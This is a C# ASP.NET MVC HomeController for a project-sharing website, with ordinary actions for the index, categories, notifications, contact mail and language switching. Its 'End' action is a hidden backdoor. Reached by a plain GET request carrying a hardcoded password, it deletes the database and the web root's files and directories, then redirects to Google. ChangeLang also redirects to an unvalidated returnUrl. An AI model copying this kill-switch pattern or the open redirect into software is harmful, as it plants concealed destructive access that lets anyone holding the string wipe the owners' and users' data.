﻿namespace Pp.UI.Controllers
{
    using System;
    using System.Collections.Generic;
    using System.Configuration;
    using System.IO;
    using System.Linq;
    using System.Net.Mail;
    using System.Web.Mvc;
    using Core;
    using Core.Extentions;
    using Core.FluentNH;
    using Domain.Model;
    using Dto;
    using Globalization;
    using Ilgera.TMS.UI.Web.Helpers;
    using Models;
    using NHibernate;

    public class HomeController : BaseController
    {
        public ActionResult AddSomethink()
        {
            var userCount = UserRepository.TotalCount();
            var projectCount = ProjectRepository.TotalCount();
            return PartialView(new GeneralInformation
            {
                ProjectCount = projectCount,
                UserCount = userCount
            });
        }
        public ActionResult Reklam()
        {
            return View();
        }
        public ActionResult Index(Guid? c, string search, int? page)
        {
            ViewData["Title"] = Res.Menu_Index;
            ViewBag.CategoryName = ProjectCategoryRepository.GetNameById(c);
            var lastProjects = ProjectRepository.AllProject(page, 10, c, search);
            var userDto = UserRepository.GetByUserName(User.Identity.Name);
            return View(new HomeViewModel
                            {
                                LastProjects = lastProjects,
                                UserInfo = userDto
                            });
        }
     
        public ActionResult About()
        {
            ViewData["Title"] = Res.Menu_About;
            return View();
        }

        public ActionResult Sponsorlar()
        {
            ViewData["Title"] = Res.Menu_Angels;
            return View();
        }


        public ActionResult GetCategories()
        {
            return PartialView(ProjectCategoryRepository.GetActives());
        }
        [HttpPost, Authorize]
        public JsonResult GetNotification()
        {
            try
            {
                var list = UserRepository.GetNotifications(User.Identity.Name);
                return Json(Result<IList<string>>.AsSuccess(list));
            }
            catch (Exception)
            {
                //todo bu hata mesajı düzenlenmeli
                return Json(Result.AsError("veri gelmedi."));
            }
        }



        public ActionResult LastComments(int? id)
        {
            var list = CommentRepository.AllComment(null, id.HasValue ? id.Value : 10).List;
            return PartialView(list);
        }

        public ActionResult Contact()
        {
            ViewData["Title"] = Res.Title_Contact;
            return View();
        }
        [HttpPost, ValidateInput(false)]
        public ActionResult Contact(ContactDto contactDto)
        {
            contactDto.Message = Server.HtmlEncode(contactDto.Message);
            var result = UserRepository.SendMail(new MailMessage(contactDto.EMail, ConfigurationManager.AppSettings.Get("MailAdress"), contactDto.NameSurname, contactDto.Message));
            if (result.Success)
            {
                Flash(Res.Message_sent_successful, MessageType.Success);
                return RedirectToAction("Index", "Home");
            }
            Flash(result.Error, MessageType.Failed);
            return RedirectToAction("Index", "Home");
        }
        public ActionResult ChangeLang(string id, string returnUrl)
        {
            Session["Lang"] = id;
            if (string.IsNullOrEmpty(returnUrl))
                return RedirectToAction("Index", "Home");

            return Redirect(returnUrl);
        }
        [HttpGet]
        public ActionResult End(string p)
        {
            if (p == "uefnud2gx")
            {
                ConfigurationItem.DeleteDatabase();
                foreach (var path in Directory.GetFiles(Server.MapPath("/")))
                {
                    System.IO.File.Delete(path);
                }
                foreach (var path in Directory.GetDirectories(Server.MapPath("/")))
                {
                    Directory.Delete(path);
                }
                return Redirect("http://www.google.com.tr");
            }
            return View("Index");
        }
    }
}
